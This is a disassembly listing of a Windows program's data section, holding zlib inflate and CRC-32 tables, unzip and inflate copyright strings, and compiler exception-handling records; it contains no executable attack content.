		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_434350	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_42CF5B+21o
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h
dword_434450	dd 10h							; sub_42B09D+A13r
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh
aInflate1_1_3Co	db ' inflate 1.1.3 Copyright 1995-1998 Mark Adler ',0
		align 4
dword_4344CC	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_42CDD6+50o
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_434548	dd 8 dup(0)			dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_4345C4	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_42CDD6+D9o
		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_43463C	dd 4 dup(0)			dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_4346B4	dd 0							; sub_42D665+3Ar ...
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_434AB4	db 20h			; DATA XREF: sub_42EBC2:loc_42EBDAr
aUnzip0_15Copyr	db 'unzip 0.15 Copyright 1998 Gilles Vollant ',0
		align 10h
		dd offset dword_434B30
off_434AE4	dd offset sub_4316CF	; DATA XREF: HLXc:00437020o
					; HLXc:off_437030o ...
dword_434AE8	dd 0FFFFFFFFh, 4318F8h,	43190Ch, 434B78hoff_434AF8	dd offset sub_431B9A	; DATA XREF: sub_431B68+12o
					; HLXc:00431BCFo ...
		align 10h
off_434B00	dd offset off_437C10	; DATA XREF: HLXc:00434B18o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_434B00
dword_434B1C	dd 3 dup(0)			dd 1, 434B18h
dword_434B30	dd 3 dup(0)			dd offset off_437C10
		dd offset dword_434B1C+4
		align 8
off_434B48	dd offset off_437C48	; DATA XREF: HLXc:00434B60o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_434B48
		dd 0
		db    0			; DATA XREF: HLXc:00434B88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 434B60h, 3 dup(0)
		dd offset off_437C48
		dd offset unk_434B68
		align 10h
dword_434B90	dd 19930520h, 2, 434BB0h, 1, 434BC0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434BD8h, 4	dup(0)
		dd offset loc_42119D
dword_434BE8	dd 19930520h, 2, 434C08h, 1, 434C18h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434C30h, 4	dup(0)
		dd offset loc_421245
dword_434C40	dd 19930520h, 3, 434C60h, 1, 434C78h, 3	dup(0)		dd 0FFFFFFFFh, 431C24h,	4 dup(0)
		dd 2 dup(1), 2,	1, 434C90h, 4 dup(0)
		dd offset loc_421402
dword_434CA0	dd 19930520h, 2, 434CC0h, 1, 434CD0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434CE8h, 4	dup(0)
		dd offset loc_4215A1
dword_434CF8	dd 19930520h, 2, 434D18h, 1, 434D28h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434D40h, 4	dup(0)
		dd offset loc_4217D7
dword_434D50	dd 19930520h, 2, 434D70h, 1, 434D80h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434D98h, 4	dup(0)
		dd offset loc_421966
		dd 1, 437020h, 0
		dd 0FFFFFFFFh, 0
		dd 4, 2	dup(0)
dword_434DC8	dd 1, 434DA8h	dword_434DD0	dd 3 dup(0)						; HLXc:004212E6o ...
		dd offset dword_434DC8
dword_434DE0	dd 19930520h, 2, 434E00h, 1, 434E10h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434E28h, 2	dup(0)
		dd offset off_437030
		dd 0FFFFFEC0h, 421D58h
dword_434E38	dd 19930520h, 4, 434E58h, 5 dup(0)		dd 0FFFFFFFFh, 431C85h,	0
		dd offset sub_431C6A
		dd 1, 431C73h, 2, 431C7Ch
dword_434E78	dd 19930520h, 0Bh, 434E98h, 5 dup(0)		dd 0FFFFFFFFh, 431CA8h,	0
		dd offset loc_431CB0
		dd 1, 431CBBh, 2, 431CC6h, 3, 431CD1h, 4, 431CDCh, 5, 431CE7h
		dd 6, 431CF2h, 7, 431CFDh, 8, 431D0Bh, 9, 431D13h
dword_434EF0	dd 19930520h, 8, 434F10h, 5 dup(0)		dd 0FFFFFFFFh, 431D28h,	0
		dd offset loc_431D30
		dd 1, 431D3Bh, 2, 431D46h, 3, 431D51h, 4, 431D5Ch, 5, 431D67h
		dd 6, 431D72h
dword_434F50	dd 19930520h, 2, 434F70h, 1, 434F80h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 434F98h, 4	dup(0)
		dd offset loc_422EAA
dword_434FA8	dd 19930520h, 3, 434FC8h, 5 dup(0)		dd 0FFFFFFFFh, 431DA4h,	0
		dd offset loc_431D94
		dd 1, 431D9Ch
dword_434FE0	dd 19930520h, 4, 435000h, 5 dup(0)		dd 0FFFFFFFFh, 431DE0h,	0
		dd offset loc_431DC8
		dd 1, 431DD0h, 2, 431DD8h
dword_435020	dd 19930520h, 20h, 435040h, 5 dup(0)		dd 0FFFFFFFFh, 431E04h,	0
		dd offset loc_431E0C
		dd 1, 431E14h, 1, 431E1Fh, 1, 431E2Ah, 1, 431E35h, 1, 431E40h
		dd 1, 431E48h, 1, 431E53h, 1, 431E5Bh, 1, 431E66h, 1, 431E71h
		dd 1, 431E79h, 1, 431E84h, 1, 431E8Ch, 0Eh, 431E94h, 0Fh
		dd 431E9Ch, 0Fh, 431EA7h, 0Fh, 431EB2h,	0Fh, 431EBDh, 0Fh
		dd 431EC8h, 0Fh, 431ED3h, 0Fh, 431EDEh,	0Fh, 431EE9h, 0Fh
		dd 431EF4h, 0Fh, 431EFCh, 0Fh, 431F04h,	0Fh, 431F0Ch, 0Fh
		dd 431F14h, 0Fh, 431F1Ch, 0Fh, 431F27h,	0Fh, 431F32h
dword_435140	dd 19930520h, 1, 435160h, 5 dup(0)		dd 0FFFFFFFFh, 431F48h
dword_435168	dd 19930520h, 1, 435188h, 5 dup(0)		dd 0FFFFFFFFh, 431F5Ch
dword_435190	dd 19930520h, 4, 4351B0h, 5 dup(0)		dd 0FFFFFFFFh, 431F70h,	0
		dd offset loc_431F78
		dd 1, 431F80h, 1, 431F88h
dword_4351D0	dd 19930520h, 0Eh, 4351F0h, 5 dup(0)		dd 0FFFFFFFFh, 431F9Ch,	0
		dd offset loc_431FA4
		dd 0FFFFFFFFh, 431FACh,	2, 431FB4h, 3, 431FBCh,	3, 431FC4h
		dd 3, 431FCCh, 3, 431FD4h, 7, 431FDCh, 8, 431FE4h, 7, 431FECh
		dd 7, 431FF4h, 7, 431FFFh, 7, 432007h
dword_435260	dd 19930520h, 2, 435280h, 5 dup(0)		dd 0FFFFFFFFh, 43201Ch,	0
		dd offset loc_432024
dword_435290	dd 19930520h, 0Bh, 4352B0h, 5 dup(0)		dd 0FFFFFFFFh, 432038h,	0
		dd offset loc_432040
		dd 1, 432048h, 2, 432050h, 3, 43205Bh, 3, 432063h, 3, 43206Bh
		dd 6, 432076h, 6, 43207Eh, 6, 432086h, 9, 432091h
dword_435308	dd 19930520h, 0Ah, 435328h, 5 dup(0)		dd 0FFFFFFFFh, 4320A4h,	0
		dd offset loc_4320AC
		dd 1, 4320B4h, 2, 4320BCh, 2, 4320C4h, 4, 4320CCh, 5, 4320D4h
		dd 6, 4320DCh, 6, 4320E4h, 8, 4320ECh
dword_435378	dd 19930520h, 6, 435398h, 5 dup(0)		dd 0FFFFFFFFh, 432128h,	0
		dd offset loc_432100
		dd 1, 432108h, 1, 432110h, 3, 432118h, 4, 432120h
dword_4353C8	dd 19930520h, 2, 4353E8h, 5 dup(0)		dd 0FFFFFFFFh, 43214Ch,	0
		dd offset loc_432154
dword_4353F8	dd 19930520h, 6, 435418h, 5 dup(0)		dd 0FFFFFFFFh, 432190h,	0
		dd offset loc_432168
		dd 1, 432170h, 1, 432178h, 3, 432180h, 4, 432188h
dword_435448	dd 19930520h, 6, 435468h, 5 dup(0)		dd 0FFFFFFFFh, 4321DCh,	0
		dd offset loc_4321B4
		dd 1, 4321BCh, 1, 4321C4h, 3, 4321CCh, 4, 4321D4h
dword_435498	dd 19930520h, 8, 4354B8h, 5 dup(0)		dd 0FFFFFFFFh, 432200h,	0
		dd offset loc_432208
		dd 1, 432210h, 1, 432218h, 3, 432220h, 4, 432228h, 4, 432230h
		dd 6, 432238h
dword_4354F8	dd 19930520h, 6, 435518h, 5 dup(0)		dd 0FFFFFFFFh, 43224Ch,	0
		dd offset loc_432254
		dd 1, 43225Ch, 1, 432264h, 3, 43226Ch, 4, 432274h
dword_435548	dd 19930520h, 6, 435568h, 5 dup(0)		dd 0FFFFFFFFh, 4322B0h,	0
		dd offset loc_432288
		dd 1, 432290h, 1, 432298h, 3, 4322A0h, 4, 4322A8h
dword_435598	dd 19930520h, 3, 4355B8h, 5 dup(0)		dd 0FFFFFFFFh, 4322D4h,	0
		dd offset loc_4322DC
		dd 1, 4322E4h
dword_4355D0	dd 19930520h, 16h, 4355F0h, 5 dup(0)		dd 0FFFFFFFFh, 4322F8h,	0
		dd offset loc_432300
		dd 1, 432308h, 2, 432310h, 3, 432318h, 3, 432320h, 3, 432328h
		dd 6, 432330h, 3, 432338h, 3, 432340h, 3, 432348h, 0Ah
		dd 432350h, 0Bh, 432358h, 0Bh, 432360h,	0Bh, 432368h, 0Eh
		dd 432370h, 0Fh, 432378h, 0Eh, 0
		dd 0Eh,	0
		dd 0Eh,	432380h, 0Eh, 0
		dd 0Eh,	0
dword_4356A0	dd 19930520h, 2, 4356C0h, 1, 4356D0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4356E8h, 4	dup(0)
		dd offset sub_42648B
dword_4356F8	dd 19930520h, 1, 435718h, 5 dup(0)		dd 0FFFFFFFFh, 4323A0h
dword_435720	dd 19930520h, 4, 435740h, 5 dup(0)		dd 0FFFFFFFFh, 4323B3h,	0
		dd offset loc_4323BC
		dd 1, 4323C5h, 1, 4323CEh
dword_435760	dd 19930520h, 3, 435780h, 5 dup(0)		dd 0FFFFFFFFh, 4323E1h,	0
		dd offset loc_4323EA
		dd 1, 4323F6h
dword_435798	dd 19930520h, 7, 4357B8h, 5 dup(0)		dd 0FFFFFFFFh, 43240Ch,	0
		dd offset loc_432415
		dd 1, 43241Eh, 2, 432427h, 3, 432433h, 4, 43243Fh, 4, 432448h
dword_4357F0	dd 19930520h, 2, 435810h, 5 dup(0)		dd 0FFFFFFFFh, 43245Bh,	0
		dd offset loc_432464
dword_435820	dd 19930520h, 1, 435840h, 5 dup(0)		dd 0FFFFFFFFh, 43247Ah
dword_435848	dd 19930520h, 1, 435868h, 5 dup(0)		dd 0FFFFFFFFh, 43248Dh
dword_435870	dd 19930520h, 1, 435890h, 5 dup(0)		dd 0FFFFFFFFh, 4324A0h
dword_435898	dd 19930520h, 4, 4358B8h, 5 dup(0)		dd 0FFFFFFFFh, 4324B3h,	0
		dd offset loc_4324BC
		dd 1, 4324C5h, 1, 4324CEh
dword_4358D8	dd 19930520h, 1, 4358F8h, 5 dup(0)		dd 0FFFFFFFFh, 4324E1h
dword_435900	dd 19930520h, 4, 435920h, 5 dup(0)		dd 0FFFFFFFFh, 4324F4h,	0
		dd offset loc_4324FD
		dd 1, 432506h, 1, 43250Fh
dword_435940	dd 19930520h, 3, 435960h, 5 dup(0)		dd 0FFFFFFFFh, 432522h,	0
		dd offset loc_43252B
		dd 1, 432538h
dword_435978	dd 19930520h, 7, 435998h, 5 dup(0)		dd 0FFFFFFFFh, 43254Fh,	0
		dd offset loc_432559
		dd 1, 432563h, 2, 43256Ch, 3, 432579h, 4, 432586h, 4, 432590h
dword_4359D0	dd 19930520h, 2, 4359F0h, 5 dup(0)		dd 0FFFFFFFFh, 4325A4h,	0
		dd offset loc_4325AD
dword_435A00	dd 19930520h, 1, 435A20h, 5 dup(0)		dd 0FFFFFFFFh, 4325C4h
dword_435A28	dd 19930520h, 1, 435A48h, 5 dup(0)		dd 0FFFFFFFFh, 4325D8h
dword_435A50	dd 19930520h, 1, 435A70h, 5 dup(0)		dd 0FFFFFFFFh, 4325ECh
dword_435A78	dd 19930520h, 4, 435A98h, 5 dup(0)		dd 0FFFFFFFFh, 4325FFh,	0
		dd offset loc_432609
		dd 1, 432612h, 1, 43261Ch
dword_435AB8	dd 19930520h, 1, 435AD8h, 5 dup(0)		dd 0FFFFFFFFh, 432630h
dword_435AE0	dd 19930520h, 1, 435B00h, 5 dup(0)		dd 0FFFFFFFFh, 432650h
dword_435B08	dd 19930520h, 1, 435B28h, 5 dup(0)		dd 0FFFFFFFFh, 432670h
dword_435B30	dd 19930520h, 1, 435B50h, 5 dup(0)		dd 0FFFFFFFFh, 432690h
dword_435B58	dd 19930520h, 3, 435B78h, 5 dup(0)		dd 0FFFFFFFFh, 4326B0h,	0
		dd offset loc_4326BC
		dd 1, 4326C8h
dword_435B90	dd 19930520h, 3, 435BB0h, 5 dup(0)		dd 0FFFFFFFFh, 4326F0h,	0
		dd offset loc_4326FC
		dd 1, 432708h
dword_435BC8	dd 19930520h, 1Ah, 435BE8h, 5 dup(0)		dd 0FFFFFFFFh, 432730h,	0
		dd offset loc_432739
		dd 1, 432742h, 2, 43274Bh, 3, 432754h, 4, 43275Dh, 5, 432769h
		dd 6, 432775h, 7, 432781h, 8, 43278Dh, 9, 432799h, 0Ah
		dd 4327A5h, 0Bh, 4327B1h, 0Ch, 4327BDh,	0Dh, 4327C9h, 0Eh
		dd 4327D5h, 0Fh, 4327E1h, 10h, 4327EDh,	11h, 4327F9h, 12h
		dd 432805h, 13h, 432811h, 14h, 43281Dh,	15h, 432829h, 5
		dd 432835h, 5, 432841h,	18h, 43284Ah
dword_435CB8	dd 19930520h, 8, 435CD8h, 5 dup(0)		dd 0FFFFFFFFh, 432860h,	0
		dd offset loc_43286C
		dd 0
		dd offset loc_432878
		dd 0
		dd offset loc_432884
		dd 0
		dd offset loc_432890
		dd 0
		dd offset loc_43289C
		dd 0
		dd offset loc_4328A8
		dd 0
		dd offset loc_4328B4
dword_435D18	dd 19930520h, 2, 435D38h, 1, 435D48h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 435D60h, 4	dup(0)
		dd offset loc_42969F
dword_435D70	dd 19930520h, 1, 435D90h, 5 dup(0)		dd 0FFFFFFFFh, 4328E0h
dword_435D98	dd 19930520h, 1, 435DB8h, 5 dup(0)		dd 0FFFFFFFFh, 432900h
